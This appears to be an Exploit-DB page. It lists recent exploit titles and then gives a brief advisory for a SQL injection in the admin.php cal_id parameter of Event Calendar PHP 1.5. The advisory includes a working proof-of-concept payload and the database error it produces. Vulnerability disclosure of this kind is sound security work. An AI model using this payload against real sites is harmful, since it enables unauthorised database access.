07fdc778ee
24 new exploits NetAuctionHelp 4.1 - search.asp SQL Injection Apple Mac OSX 10.4.11 2007-008 - i386_set_ldt System Call Local Arbitrary Code Execution Microsoft Edge - Array.map Heap Overflow (MS16-119) Microsoft Jet Database Engine - '.MDB' File Parsing Remote Buffer Overflow Microsoft Edge - Array.join Info Leak (MS16-119) Windows DeviceApi CMApi PiCMOpenDeviceKey - Arbitrary Registry Key Write Privilege Escalation (MS16-124) Windows DeviceApi CMApi - PiCMOpenDeviceKey Arbitrary Registry Key Write Privilege Escalation (MS16-124) HikVision Security Systems - Activex Buffer Overflow Oracle Netbeans IDE 8.1 - Directory Traversal MiCasa VeraLite - Remote Code Execution Oracle BI Publisher 11.1.1.6.0 / 11.1.1.7.0 / 11.1.1.9.0 / 12.2.1.0.0 - XML External Entity Injection Classifieds Rental Script - SQL Injection SAP NetWeaver KERNEL 7.0 < 7.5 - Denial of Service SAP Adaptive Server Enterprise 16 - Denial of Service Event Calendar PHP 1.5 - SQL Injection SPIP 3.1.2 Template Compiler/Composer - PHP Code Execution SPIP 3.1.1 / 3.1.2 - File Enumeration / Path Traversal SPIP 3.1.2 - Cross-Site Request Forgery Windows win32k.sys - TTF Processing RCVT TrueType Instruction Handler Out-of-Bounds Read (MS16-120) Windows win32k.sys - TTF Processing win32k!sbit_Embolden / win32k!ttfdCloseFontContext Use-After-Free (MS16-120) Windows Kernel - Registry Hive Loading Negative RtlMoveMemory Size in nt!CmpCheckValueList (MS16-124) Windows Kernel - Registry Hive Loading Relative Arbitrary Read in nt!RtlValidRelativeSecurityDescriptor (MS16-123) Microsoft Edge - Function.apply Info Leak (MS16-119) Microsoft Edge - Spread Operator Stack Overflow (MS16-119) Windows Edge/IE - Isolated Private Namespace Insecure DACL Privilege Escalation (MS16-118) Windows Edge/IE - Isolated Private Namespace Insecure Boundary Descriptor Privilege Escalation (MS16-118) Windows - NtLoadKeyEx Read Only Hive Arbitrary File Write Privilege Escalation (MS16-124) Hak5 WiFi Pineapple - Preconfiguration Command Injection (Metasploit) OpenNMS - Java Object Unserialization Remote Code Execution (Metasploit)
30 lines
1.2 KiB
Text
Executable file
30 lines
1.2 KiB
Text
Executable file
=====================================================
|
|
# Event Calendar PHP 1.5 - SQL Injection
|
|
=====================================================
|
|
# Vendor Homepage: http://eventcalendarphp.com/
|
|
# Date: 21 Oct 2016
|
|
# Version : 1.5
|
|
# Platform : WebApp - PHP
|
|
# Author: Ashiyane Digital Security Team
|
|
# Contact: hehsan979@gmail.com
|
|
=====================================================
|
|
# PoC:
|
|
Vulnerable Url:
|
|
http://localhost/eventcalendar/admin.php?act=options&cal_id=[payload]
|
|
http://localhost/eventcalendar/admin.php?act=cal_options&cal_id=[payload]
|
|
http://localhost/eventcalendar/admin.php?act=cal_language&cal_id=[payload]
|
|
Vulnerable parameter : cal_id
|
|
Mehod : GET
|
|
|
|
A simple inject :
|
|
Payload : '+order+by+20--+
|
|
http://localhost/eventcalendar/admin.php?act=options&cal_id=1'+order+by+20--+
|
|
|
|
In response can see result :
|
|
query error: SELECT * FROM pa_ecal_calendars WHERE cal_id='1' order by
|
|
20-- '. Error: Unknown column '20' in 'order clause'
|
|
|
|
Result of payload: Error: Unknown column '20' in 'order clause'
|
|
=====================================================
|
|
# Discovered By : Ehsan Hosseini
|
|
=====================================================
|